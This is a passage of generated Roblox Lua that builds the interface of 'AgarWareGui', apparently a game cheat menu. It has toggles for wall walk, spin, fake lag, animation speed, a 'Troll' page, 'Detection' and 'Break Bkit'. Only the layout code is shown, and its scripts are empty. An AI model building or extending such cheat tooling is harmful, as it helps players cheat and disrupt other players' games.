UDim2.new(0.00294, 0, 0.175, 0); G2L["113"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["113"]["Name"] = [[WWalkRow]]; G2L["113"]["LayoutOrder"] = 2; G2L["113"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkScript G2L["114"] = Instance.new("LocalScript", G2L["113"]); G2L["114"]["Name"] = [[WWalkScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkButton G2L["115"] = Instance.new("TextButton", G2L["113"]); G2L["115"]["TextSize"] = 14; G2L["115"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["115"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["115"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["115"]["Size"] = UDim2.new(0, 135, 0, 16); G2L["115"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["115"]["Text"] = [[Execute Wall Walk]]; G2L["115"]["Name"] = [[WWalkButton]]; G2L["115"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkHelp G2L["116"] = Instance.new("TextButton", G2L["113"]); G2L["116"]["TextSize"] = 14; G2L["116"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["116"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["116"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["116"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["116"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["116"]["Text"] = [[?]]; G2L["116"]["Name"] = [[WWalkHelp]]; G2L["116"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow G2L["117"] = Instance.new("Frame", G2L["10d"]); G2L["117"]["BorderSizePixel"] = 0; G2L["117"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["117"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["117"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["117"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["117"]["Name"] = [[SpinRow]]; G2L["117"]["LayoutOrder"] = 2; G2L["117"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinScript G2L["118"] = Instance.new("LocalScript", G2L["117"]); G2L["118"]["Name"] = [[SpinScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinTickBox G2L["119"] = Instance.new("TextButton", G2L["117"]); G2L["119"]["TextSize"] = 14; G2L["119"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["119"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["119"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["119"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["119"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["119"]["Text"] = [[]]; G2L["119"]["Name"] = [[SpinTickBox]]; G2L["119"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinText G2L["11a"] = Instance.new("TextLabel", G2L["117"]); G2L["11a"]["BorderSizePixel"] = 0; G2L["11a"]["TextSize"] = 14; G2L["11a"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["11a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["11a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["11a"]["BackgroundTransparency"] = 1; G2L["11a"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["11a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["11a"]["Text"] = [[Spin]]; G2L["11a"]["Name"] = [[SpinText]]; G2L["11a"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinChanger G2L["11b"] = Instance.new("TextBox", G2L["117"]); G2L["11b"]["Name"] = [[SpinChanger]]; G2L["11b"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["11b"]["TextWrapped"] = true; G2L["11b"]["TextSize"] = 14; G2L["11b"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["11b"]["TextScaled"] = true; G2L["11b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11b"]["PlaceholderText"] = [[(1)]]; G2L["11b"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["11b"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["11b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["11b"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow G2L["11c"] = Instance.new("Frame", G2L["10d"]); G2L["11c"]["BorderSizePixel"] = 0; G2L["11c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["11c"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["11c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["11c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["11c"]["Name"] = [[FakeLagRow]]; G2L["11c"]["LayoutOrder"] = 2; G2L["11c"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagScript G2L["11d"] = Instance.new("LocalScript", G2L["11c"]); G2L["11d"]["Name"] = [[FakeLagScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagTickBox G2L["11e"] = Instance.new("TextButton", G2L["11c"]); G2L["11e"]["TextSize"] = 14; G2L["11e"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["11e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11e"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["11e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["11e"]["Text"] = [[]]; G2L["11e"]["Name"] = [[FakeLagTickBox]]; G2L["11e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagText G2L["11f"] = Instance.new("TextLabel", G2L["11c"]); G2L["11f"]["BorderSizePixel"] = 0; G2L["11f"]["TextSize"] = 14; G2L["11f"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["11f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["11f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["11f"]["BackgroundTransparency"] = 1; G2L["11f"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["11f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["11f"]["Text"] = [[Fake Lag]]; G2L["11f"]["Name"] = [[FakeLagText]]; G2L["11f"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagChanger G2L["120"] = Instance.new("TextBox", G2L["11c"]); G2L["120"]["Name"] = [[FakeLagChanger]]; G2L["120"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["120"]["TextWrapped"] = true; G2L["120"]["TextSize"] = 14; G2L["120"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["120"]["TextScaled"] = true; G2L["120"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["120"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["120"]["PlaceholderText"] = [[(1)]]; G2L["120"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["120"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["120"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["120"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow G2L["121"] = Instance.new("Frame", G2L["10d"]); G2L["121"]["BorderSizePixel"] = 0; G2L["121"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["121"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["121"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["121"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["121"]["Name"] = [[AnimSpeedRow]]; G2L["121"]["LayoutOrder"] = 2; G2L["121"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedScript G2L["122"] = Instance.new("LocalScript", G2L["121"]); G2L["122"]["Name"] = [[AnimSpeedScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedTickBox G2L["123"] = Instance.new("TextButton", G2L["121"]); G2L["123"]["TextSize"] = 14; G2L["123"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["123"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["123"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["123"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["123"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["123"]["Text"] = [[]]; G2L["123"]["Name"] = [[AnimSpeedTickBox]]; G2L["123"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedText G2L["124"] = Instance.new("TextLabel", G2L["121"]); G2L["124"]["BorderSizePixel"] = 0; G2L["124"]["TextSize"] = 14; G2L["124"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["124"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["124"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["124"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["124"]["BackgroundTransparency"] = 1; G2L["124"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["124"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["124"]["Text"] = [[Anim Speed]]; G2L["124"]["Name"] = [[AnimSpeedText]]; G2L["124"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedChanger G2L["125"] = Instance.new("TextBox", G2L["121"]); G2L["125"]["Name"] = [[AnimSpeedChanger]]; G2L["125"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["125"]["TextWrapped"] = true; G2L["125"]["TextSize"] = 14; G2L["125"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["125"]["TextScaled"] = true; G2L["125"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["125"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["125"]["PlaceholderText"] = [[(1)]]; G2L["125"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["125"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["125"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["125"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscRightSide G2L["126"] = Instance.new("Frame", G2L["10a"]); G2L["126"]["BorderSizePixel"] = 0; G2L["126"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["126"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["126"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0); G2L["126"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["126"]["Name"] = [[MiscRightSide]]; G2L["126"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscRightSide.UIListLayout G2L["127"] = Instance.new("UIListLayout", G2L["126"]); G2L["127"]["Padding"] = UDim.new(0, 7); G2L["127"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar G2L["128"] = Instance.new("Frame", G2L["17"]); G2L["128"]["Visible"] = false; G2L["128"]["BorderSizePixel"] = 0; G2L["128"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["128"]["Size"] = UDim2.new(0, 365, 0, 25); G2L["128"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["128"]["Name"] = [[TCOSideBar]]; G2L["128"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.MainTCOPG G2L["129"] = Instance.new("TextButton", G2L["128"]); G2L["129"]["TextWrapped"] = true; G2L["129"]["TextSize"] = 12; G2L["129"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["129"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["129"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["129"]["Size"] = UDim2.new(0, 80, 0, 25); G2L["129"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["129"]["Text"] = [[Main]]; G2L["129"]["Name"] = [[MainTCOPG]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.UIListLayout G2L["12a"] = Instance.new("UIListLayout", G2L["128"]); G2L["12a"]["SortOrder"] = Enum.SortOrder.LayoutOrder; G2L["12a"]["FillDirection"] = Enum.FillDirection.Horizontal; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.MiscTCOPG G2L["12b"] = Instance.new("TextButton", G2L["128"]); G2L["12b"]["TextWrapped"] = true; G2L["12b"]["TextSize"] = 12; G2L["12b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12b"]["Size"] = UDim2.new(0, 80, 0, 25); G2L["12b"]["LayoutOrder"] = 10; G2L["12b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["12b"]["Text"] = [[Misc]]; G2L["12b"]["Name"] = [[MiscTCOPG]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.TrollTCOPG G2L["12c"] = Instance.new("TextButton", G2L["128"]); G2L["12c"]["TextWrapped"] = true; G2L["12c"]["TextSize"] = 12; G2L["12c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12c"]["Size"] = UDim2.new(0, 80, 0, 25); G2L["12c"]["LayoutOrder"] = 1; G2L["12c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["12c"]["Text"] = [[Troll]]; G2L["12c"]["Name"] = [[TrollTCOPG]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.DetectionTCOPG G2L["12d"] = Instance.new("TextButton", G2L["128"]); G2L["12d"]["TextWrapped"] = true; G2L["12d"]["TextSize"] = 12; G2L["12d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12d"]["Size"] = UDim2.new(0, 80, 0, 25); G2L["12d"]["LayoutOrder"] = 2; G2L["12d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["12d"]["Text"] = [[Detection]]; G2L["12d"]["Name"] = [[DetectionTCOPG]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage G2L["12e"] = Instance.new("ScrollingFrame", G2L["17"]); G2L["12e"]["Visible"] = false; G2L["12e"]["Active"] = true; G2L["12e"]["BorderSizePixel"] = 0; G2L["12e"]["Name"] = [[TCOTrollPage]]; G2L["12e"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["12e"]["Size"] = UDim2.new(0, 349, 0, 233); G2L["12e"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["12e"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0); G2L["12e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["12e"]["ScrollBarThickness"] = 0; G2L["12e"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide G2L["12f"] = Instance.new("Frame", G2L["12e"]); G2L["12f"]["BorderSizePixel"] = 0; G2L["12f"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["12f"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["12f"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0); G2L["12f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["12f"]["Name"] = [[TCOTrollRightSide]]; G2L["12f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.UIListLayout G2L["130"] = Instance.new("UIListLayout", G2L["12f"]); G2L["130"]["Padding"] = UDim.new(0, 7); G2L["130"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup G2L["131"] = Instance.new("Frame", G2L["12f"]); G2L["131"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["131"]["BorderMode"] = Enum.BorderMode.Middle; G2L["131"]["Size"] = UDim2.new(0, 170, 0, 285); G2L["131"]["Position"] = UDim2.new(0, 0, -0, 0); G2L["131"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["131"]["Name"] = [[RepGroup]]; G2L["131"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepScript G2L["132"] = Instance.new("LocalScript", G2L["131"]); G2L["132"]["Name"] = [[RepScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTooltip G2L["133"] = Instance.new("LocalScript", G2L["131"]); G2L["133"]["Name"] = [[RepTooltip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UIListLayout G2L["134"] = Instance.new("UIListLayout", G2L["131"]); G2L["134"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepAccentColor G2L["135"] = Instance.new("Frame", G2L["131"]); G2L["135"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["135"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["135"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["135"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["135"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["135"]["Name"] = [[RepAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTitle G2L["136"] = Instance.new("TextLabel", G2L["131"]); G2L["136"]["TextWrapped"] = true; G2L["136"]["BorderSizePixel"] = 0; G2L["136"]["TextSize"] = 14; G2L["136"]["TextScaled"] = true; G2L["136"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["136"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["136"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["136"]["BackgroundTransparency"] = 0.95; G2L["136"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["136"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["136"]["Text"] = [[RepStorage Brick]]; G2L["136"]["LayoutOrder"] = 1; G2L["136"]["Name"] = [[RepTitle]]; G2L["136"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTitle.RepMinimize G2L["137"] = Instance.new("TextButton", G2L["136"]); G2L["137"]["BorderSizePixel"] = 0; G2L["137"]["TextSize"] = 14; G2L["137"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["137"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["137"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["137"]["BackgroundTransparency"] = 1; G2L["137"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["137"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["137"]["Text"] = [[-]]; G2L["137"]["Name"] = [[RepMinimize]]; G2L["137"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow G2L["138"] = Instance.new("Frame", G2L["131"]); G2L["138"]["BorderSizePixel"] = 0; G2L["138"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["138"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["138"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["138"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["138"]["Name"] = [[BKitFixRow]]; G2L["138"]["LayoutOrder"] = 4; G2L["138"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixScript G2L["139"] = Instance.new("LocalScript", G2L["138"]); G2L["139"]["Name"] = [[BKitFixScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixButton G2L["13a"] = Instance.new("TextButton", G2L["138"]); G2L["13a"]["TextSize"] = 14; G2L["13a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["13a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["13a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["13a"]["Size"] = UDim2.new(0, 135, 0, 16); G2L["13a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["13a"]["Text"] = [[Fix Bkit (Client)]]; G2L["13a"]["Name"] = [[BKitFixButton]]; G2L["13a"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixHelp G2L["13b"] = Instance.new("TextButton", G2L["138"]); G2L["13b"]["TextSize"] = 14; G2L["13b"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["13b"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["13b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["13b"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["13b"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["13b"]["Text"] = [[?]]; G2L["13b"]["Name"] = [[BKitFixHelp]]; G2L["13b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow G2L["13c"] = Instance.new("Frame", G2L["131"]); G2L["13c"]["BorderSizePixel"] = 0; G2L["13c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["13c"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["13c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["13c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["13c"]["Name"] = [[BKitBreakRow]]; G2L["13c"]["LayoutOrder"] = 3; G2L["13c"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow.BKitBreakScript G2L["13d"] = Instance.new("LocalScript", G2L["13c"]); G2L["13d"]["Name"] = [[BKitBreakScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow.BKitBreakButton G2L["13e"] = Instance.new("TextButton", G2L["13c"]); G2L["13e"]["TextSize"] = 14; G2L["13e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["13e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["13e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["13e"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["13e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["13e"]["Text"] = [[Break Bkit]]; G2L["13e"]["Name"] = [[BKitBreakButton]]; G2L["13e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow G2L["13f"] = Instance.new("Frame", G2L["131"]); G2L["13f"]["BorderSizePixel"] = 0; G2L["13f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["13f"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["13f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["13f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["13f"]["Name"] = [[SprayRepRow]]; G2L["13f"]["LayoutOrder"] = 16; G2L["13f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepText G2L["140"] = Instance.new("TextLabel", G2L["13f"]); G2L["140"]["BorderSizePixel"] = 0; G2L["140"]["TextSize"] = 14; G2L["140"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["140"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["140"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["140"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["140"]["BackgroundTransparency"] = 1; G2L["140"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["140"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["140"]["Text"] = [[Spray:]]; G2L["140"]["Name"] = [[SprayRepText]]; G2L["140"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepChanger G2L["141"] = Instance.new("TextBox", G2L["13f"]); G2L["141"]["Name"] = [[SprayRepChanger]]; G2L["141"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["141"]["TextWrapped"] = true; G2L["141"]["TextSize"] = 14; G2L["141"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["141"]["TextScaled"] = true; G2L["141"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["141"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["141"]["PlaceholderText"] = [[(none)]]; G2L["141"]["Size"] = UDim2.new(0, 114, 0, 16); G2L["141"]["Position"] = UDim2.new(0.29586, 0, 0.16, 0); 